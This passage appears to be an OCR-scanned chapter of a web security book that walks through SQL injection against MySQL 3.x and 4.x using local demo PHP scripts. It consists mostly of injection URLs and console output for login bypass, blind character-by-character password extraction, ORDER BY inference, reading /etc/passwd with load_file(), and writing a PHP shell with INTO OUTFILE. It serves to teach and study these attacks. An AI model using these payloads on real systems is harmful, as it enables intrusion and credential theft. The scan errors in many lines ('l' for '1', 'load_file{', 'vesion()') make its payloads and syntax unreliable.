MySQL 3.x and Stolen Data
Because MySQL 3.x lacks a construction such as UNION, everything I told you in the previous section is only true for MySQL 4.x.
When a vulnerability is in a SELECT query, the only thing the attacker can do is to embed Boolean constructions containing column names into a query. In some cases, the attacker will be able to obtain information about the values in these columns.
Consider an example.
http://localhost/3/14.php |
|---|
<? |
As you can see, this example looks like the examples you considered earlier. I have demonstrated that such scripts have the SQL injection vulnerability.
However, this code includes a line that deletes all the UNION constructions from the query. Therefore, the vulnerability is similar to a third-version vulnerability, in which the UNION constructions cannot be used.
The investigation methods described earlier will show that a vulnerability is in the SELECT query after the WHERE construction. The parameter value is between the apostrophes, and they aren't filtered.
After doing some research, the attacker will be able to embed any WHERE constructions into the query:
The first request demonstrates that the attacker can pass authorization as the first user even when he or she doesn't know the password.
Using the LIMIT construction, he or she can pass authorization as a random user
http://localhost/3/14.php?pass=aaa'+or+l+limit+0,l/*
http://localhost/3/14.php?pass=aaa'+or+l+limit+l,l/*
http://localhost/3/14.php?pass=aaa'+or+l+limit+2,1/*
This is how the attacker can pass authorization as a random user.
Exploiting this vulnerability, the attacker can know how many records the table contains. To do this, he or she would use dichotomizing search:
http://localhost/3/14.php?pass=aaa'+or+l+limit+10,1/*
http://localhost/3/14.php?pass=aaa'+or+l+limit+5,1/*
http://localhost/3/14.php?pass=aaa'+or+l+limit+3,1/*
Because the third and fourth requests didn't cause an error and the second request did, the attacker can infer that four records are in the table being investigated.
To obtain the names of table columns used in the query, the attacker can try possible names in Boolean constructions:
http://localhost/3/14.php?pass=aaa'+or+l/*
http://localhost/3/14.php?pass=aaa'+or+name=name/*
http://localhost/3/14.php?pass=aaa'+or+login=login/*
http://localhost/3/14.php?pass=aaa'+or+password=password/*
http://localhost/3/14.php?pass=aaa'+or+pass=pass/*
And so on.
A request that doesn't cause an error (in this case, the welcome message) indicates that the column name it uses is present in the table being investigated.
Sometimes, when two or more tables are accessed in a query, it might be necessary to specify the name or an alias of the table in the query:
http://localhost/3/14.php?pass=aaa'+or+1/*
http://localhost/3/14.php?pass=aaa'+or+passwords.name=passwords.name/*
http://localhost/3/14.php?pass=aaa'+or+passwords.login=passwords.login/*
http://localhost/3/14.php?pass=aaa'+or+passwords.password= passwords.password/*
http://localhost/3/14.php?pass=aaa'+or+passwords.pass= passwords.pass/*
And so on.
In this example, the attacker is lucky to find the pass and login column names.
Now, I'll demonstrate how an attacker can find any user's password and a particular user's password (e.g., the password of the superadmin user).
The LIKE construction makes it possible to try the password characters one by one. To try all characters of the password, the attacker can send a series of requests such as the following:
http://localhost/3/14.php?pass=aaa'+or+pass+like+'a%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'b%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'c%/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'p%'/*
And so on.
The last request shown causes the system prompt for the admin user. This means this user's password begins with the p character.
The other characters can be found in a similar manner:
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pa%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'paa%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pab%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pac%'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pas%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pasa%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pasb%'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pasw%'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'passadmin%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'passadminl%'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'passadminl %'/*
The last request causes a message informing the user that access was rejected. This means the entire password has been found.
If the actual password was at least one character longer than the submitted password, this character would match the underscore character and the remaining characters would possibly match the percentage sign.
In some cases, it is best to use the dichotomizing search with the comparison operations rather than the LIKE construction. Remember that in MySQL the rows are sorted lexicographically:
http://localhost/3/14.php?pass=aaa'+or+pass+>+'r'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'f/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'k'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'o'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'s'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'p'/*
The other characters in the password can be found in a similar manner:
http://localhost/3/14.php?pass=aaa'+or+pass+>+'pr'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'pg'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'pb'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'pa'/*
And so on.
Don't forget that a password can contain digits and other characters in addition to letters. This is how the attacker can find the password of one user of a database.
Suppose he or she wants to obtain superadmin's password. The method of finding the password of any user involves finding a database record with certain limitations. Similarly, the attacker can restrict the output so that only the desired user is sought:
http://localhost/3/14.php?pass=aaa'+or+pass+like+'a%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'b%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'c%'+and+login=
'superadmin'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'z%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'1%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'2%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'2a%'+and+login= 'superadmin'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'2l%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'2m%'+and+login='superadmin'/*
And so on, until the password is found.
Naturally, this method can hardly be used in practice. It is much less effective than the use of the UNION construction in MySQL 4.x. However, this is the only way of retrieving information when the MySQL 3.x server is accessed.
Now, consider a situation, in which SQL queries are sent to MySQL 3.x and a weakly-filtered parameter is positioned after the ORDER BY keywords.
Consider the http://localhost/3/17.php script.
After some investigation, the attacker will find that the f GET parameter is subject to SQL injection. He or she will find the type of the SQL query using an HTTP request.
http://localhost/3/17.php?f=login' |
|---|
sort by id: name |
If it was the MySQL 4.x database server, the attacker could use the UNION SELECT construction. However, I assume this is version 3.x.
In addition, I assume that the attacker isn't interested in writing to a file. He or she wants to retrieve information from the database (e.g., the password of the superadmin user).
Later in this chapter, I'll tell you how to exploit SQL injection in MySQL when working with files.
In this situation, the attacker cannot use the method described earlier that involves embedding Boolean constructions and conditions after the WHERE construction. However, he or she can use MySQL's ability to sort records by values, not only by the names of rows.
In addition, the attacker knows that MySQL converts Boolean values to zero and one. Therefore, he or she can use Boolean expressions with the column names to disclose certain information about the values of the columns.
The following example illustrates how the attacker can know whether an embedded Boolean expressions is true.
http://localhost/3/17.php?f=id |
|---|
sort by id: name |
http://localhost/3/17.php?f=-id |
|---|
sort by id: name |
http://localhost/3/17.php?f=-id*(1=1) |
|---|
sort by id: name |
http://localhost/3/17.php?f=-id*(1=0) |
|---|
sort by id: name |
Looking at how the rows are sorted, the attacker can know whether the Boolean expressions are true. After that, he or she will probably try every character of a field, in which he or she is interested. Alternatively, the attacker could use dichotomizing search.
To find superadmin's password, the attacker can make the following series of requests (the results will be sorted first by the values of the Boolean expressions and then by the id values).
http://localhost/3/17.php?f=-id*(pass+%3E=+'1') |
|---|
sort by id: name |
http://localhost/3/17.php?f=-id*(pass+%3E=+'2') |
|---|
sort by id: name |
http://localhost/3/17.php?f=-id*(pass+%3E=+'3') |
|---|
sort by id: name |
These requests show that the first character in the password of the superadmin user is most likely 2. The remaining characters are found in a similar manner.
http://localhost/3/17.php?f=-id*(pass+%3E=+'2m_84%%60fd') |
|---|
sort by id: name |
http://localhost/3/17.php?f=-id*(pass+%3E=+'2m_84%%60fe') |
|---|
sort by id: name |
http://localhost/3/17.php?f=-id*(pass+like+'2m\_84%%60fd%') |
|---|
http://localhost/3/17.php?f=-id*(pass+like+'2m\_84%%60fd_%') |
|---|
sort by id: name |
This is how an attacker can find the password of any user. In this example, the password of the superadmin user is 2m_84%'fd.
My SQL and Files
MySQL offers a few file functions that can be used in SQL queries. When the SQL injection vulnerability is in the system, the attacker can embed these functions to perform malicious actions with files.
The load_file() MySQL function takes the name of a file as a parameter and returns the contents of the file. To exploit this function, the user should have the file priv access rights. The user should pass the function the absolute path to the file, and the file should be available for reading to any user.
The function behaves like any other function. It returns a value that can be output or used in the WHERE construction.
Here is an example of exploiting the vulnerability with this function:
http://localhost/3/15.php
This script takes the id parameter and inserts it into an SQL query. The preliminary investigation is the following:
http://localhost/3/15.php?id=1
http://localhost/3/15.php?id=99
http://localhost/3/15.php?id=abc
http://localhost/3/15.php?id=1'
http://localhost/3/15.php?id= 1+union+select+null
http://localhost/3/15.php?id=1+union+select+null,null
http://localhost/3/15.php?id=999999+union+select+11,22
http://localhost/3/15.php?id=999999+union+select+1,vesion()
http://localhost/3/15.php?id=999999+union+select+l,database()
http://localhost/3/15.php?id=999999+union+select+l,user()
The last three requests demonstrate how the attacker can obtain the values of any function.
Using the load_file() function in a similar manner, the attacker can obtain the contents of any file in the system (with the presumptions stated earlier):
http://localhost/3/15.php?id=999999+union+select+ 11 ,load_file('X:/localhost/3/passwd.txt')
http://localhost/3/15.php?id=999999+union+select+ 1 l,load_file('/etc/passwd')
http://localhost/3/15.php?id=999999+union+select+ 11,load_file('any_file')
This is how the attacker obtains information about any file.
Note that in Windows, the path to a file should include the disk name. In Unix-like operating systems, the path should be the full path from the server root.
The attacker is likely to be interested in the names of directories on the server.
Consider an example that illustrates how MySQL responds to various file names sent to the load_file() function:
-bash-2.05b$ mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 225 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use book1
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select load_file('/tmp/rl');
+------------------------------+
| load_file('/tmp/rl') |
+------------------------------+
| file content |
+------------------------------+
1 row in set (0.00 sec)
mysql> select load_file('/tmp/r2') ;
+------------------------------+
| load_file('/tmp/r2') |
+------------------------------+
|NULL |
+ -----------------------------+
1 row in set (0.00 sec)
mysql> select load_file{'/tmp/not-exists');
+------------------------------+
| load_file('/tmp/not-exists') |
+------------------------------+
| NULL |
+------------------------------+
1 row in set (0.00 sec)
mysql> select load_file{'/tmp/');
+------------------------------+
| load_file('/tmp/') |
+------------------------------+
| |
+------------------------------+
1 row in set (0.00 sec)
mysql> select load_file{'/not-exists/');
+------------------------------+
| load_file('/not-exists/') |
+------------------------------+
| NULL |
+------------------------------+
1 row in set (0.00 sec)
mysql> select load_file{'/tmp/rr/');
+------------------------------+
| load_file('/tmp/rr/') |
+------------------------------+
| NULL |
+------------------------------+
1 row in set (0.00 sec)
In summary, the server's responses are as follows: If the file exists and is available for reading to all the users, the file contents are returned. If the attacker tries to load a nonexistent file or a file unavailable for reading, the function will return NULL. Using this function in Boolean constructions, the attacker can determine whether a file exists and is available for reading even if MySQL 3.x is used:
http://localhost/3/15.php?id=1+AND+load_file('/etc/passwd')+ is+not+NULL
http://localhost/3/15.php?id=1+AND+load_file('/etc/master.passwd')+ is+not+NULL
Consider a case, in which an attempt is made to open a directory as a file.
Remember that according to the research done earlier, in Unix-like operating systems a directory is a common file that can be opened with functions such as fopen().
As practice shows, when the load_file() function is called with a directory name as a parameter in a Unix-like operating system, it returns an empty value.
If the name of a nonexistent directory is passed to the function, it returns NULL.
Therefore, the attacker can know the names of directories on the server. As previously, he or she would specify the full path to the directory from the server root.
This method works only in Unix-like operating systems.
To find whether a particular directory exists on the server, the attacker is likely to make the following series of requests to the HTTP server:
http://localhost/3/15.php?id=1+AND+load_file('/etc/')+is+not+NULL
http://localhost/3/15.php?id=1+AND+load_file('/home/')+is+not+NULL
http://localhost/3/15.php?id=1+AND+load_file('/tmp/')+is+not+NULL
http://localhost/3/15.php?id=1+AND+load_file('/usr/')+is+not+NULL
http://localhost/3/15.php?id=1+AND+load_file('/usr/bin/')+is+not+NULL
http://localhost/3/15.php?id=1+AND+load_file('/usr/sbin/')+is+not+NULL
And so on.
As practice shows, when the attacker tries to use the load_file() function to obtain the contents of a file whose name is the name of a directory (regardless of whether the directory exists), the function returns NULL. Therefore, this method for detecting directories on the server is suitable only for Unix-like operating systems.
Note that the parameter passed to the load_file() function can be any expression whose value can be interpreted as text.
SQL implemented in the MySQL database server includes another construction for working with files. This is the SELECT ... into outfile 'filename' clause.
The syntax of the SELECT statement is as follows:
SELECT [STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] [HIGH_PRIORITY]
[DISTINCT | DISTINCTROW | ALL]
select_expression,...
[INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
[FROM table_references
[WHERE where_definition]
[GROUP BY {unsigned_integer | col_name | formula} [ASC|DESC], ...]
[HAVING where_definition]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]
[LIMIT [offset,] rows]
[PROCEDURE procedure_name]
[FOR UPDATE | LOCK IN SHARE MODE]]
As you can see, the INTO OUTFTLE construction should precede the WHERE keyword. This construction directs the result of the query to a file on the server.
The result of an SQL query is output to the file specified with the INTO OUTFILE construction only if the following requirements are met:
The user should have the file_priv privilege.
The file shouldn't exist on the server.
The directory, in which the file is created, should be available for writing to all users.
The full path to the file from the server root should be specified.
As for the second item, note the following: Even if the file exists and is available for writing to all users, and even if the directory containing it is available for writing to all users, MySQL won't change the contents of this file.
The file created will be available for reading and writing to all the users in the system. In a Unix-like operating system, the file will have access rights as follows: - rw- rw- rw-. That is, it doesn't have execution rights.
Consider a few examples of how SQL queries with the INTO OUTFTLE construction are executed:
-bash-2.05b$ mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use book1;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select 123 into outfile '/tmp/111';
ERROR 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near
'' at line 1
mysql> select 123 into outfile '/tmp/112' from test1;
Query OK, 4 rows affected (0.02 sec)
mysql> select 123 into outfile '/tmp/113' from not-exists;
ERROR 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near
'not-exists' at line 1
mysql> select 123 from test1 into outfile '/tmp/114';
Query OK, 4 rows affected (0.00 sec)
mysql> select 123 into outfile /tmp/121 from test1;
ERROR 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near
'/tmp/121 from testl' at line 1
mysql> select concat('/tmp/','123');
+-----------------------+
| concat('/tmp/','123') |
+-----------------------+
| /tmp/123 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select 234 into outfile (concat('/tmp/','123')) from test1;
ERROR 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near
'(concat('/tmp/','123')) from test1' at line 1
mysql> select * from test1 where id=1 into outfile '/tmp/134';
Query OK, 1 row affected (0.02 sec)
mysql> select * from test1 where id=9999 into outfile '/tmp/136';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from test1 where id=9999 union select NULL,NULL,'abcd'
into outfile '/tmp/138';
ERROR 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near
'' at line 1
mysql> select * from test1 where id=9999 union select NULL,'abcd' into
outfile '/tmp/138' from testl;
Query OK, 1 row affected (0.00 sec)
mysql> select * from testl where id=9999 union select NULL,'abcd' from
testl into outfile '/tmp/139';
Query OK, 1 row affected (0.00 sec)
This example allows you to draw the following conclusions concerning the response of MySQL to SELECT queries with the INTO OUTFTLE construction:
To avoid errors in the SQL query, the query should include the from tablename construction. A query without from is considered erroneous.
Despite the documented description of the SELECT statement's syntax, the INTO OUTFTLE construction can be put either before the FROM keyword or at the end of the query.
Unlike the load_file() function that can take an expression as an argument, the select INTO OUTFTLE construction doesn't allow the use of expressions.
The file name should be a string between apostrophes or quotation marks.
The INTO OUTFTLE construction can be used in queries combined using the UNION construction. The second query containing the INTO OUTFILE construction should also contain FROM TABLE.
Therefore, the following requirements can be placed on the use of this function:
The attacker likely would be able to embed values between apostrophes or quotation marks into a query. In other words, these characters shouldn't be filtered.
The attacker needs to know the name of at least one database table, to which he or she has the select_priv access rights.
If the attacker has rights for reading from the system database, this table name can be mysql. user, which is available on each MySQL server.
The table name can be compound; that is, it can consist of the database name and the table name.
The user who sends queries to the database server should have the file_priv privilege.
The target file shouldn't exist.
The target directory should be available for writing to all users.
When these requirements are met, the attacker can create a file with any contents on the server. For example, he or she can create PHP shell code in a directory accessible from the Web to obtain the ability to execute any commands with the rights of the Web server.
However, the attacker needs to know the full path to a directory accessible from the Web and available for writing. The attacker could find the location of the http_base directory using other vulnerabilities that possibly exist on the server and that would disclose paths to files.
To find directories available for writing, the attacker is likely to check directories containing pictures or banners, directories with files uploaded using the HTTP POST method, and some other directories available using HTTP.
In addition, if the local PHP source code injection vulnerability is on the server, the attacker can create a file in any folder available for writing and then include this file in a script vulnerable to local PHP source code injection.
Remember that in most cases, the TMP folder is available for reading to all the users in Unix-like operating systems.
The select ... into outfile construction can also be used in MySQL 3.x.
The attacker can save the result of the query in a file as described earlier. However, the advantage of this operation is questionable because it will be difficult for the attacker to create a query returning necessary values.
If a vulnerability is in a forum, the attacker could embed malicious code (e.g., PHP shell) into a message in the forum. Then, he or she would create a query returning the text of this message and saving it in a file on the server.
댓글,
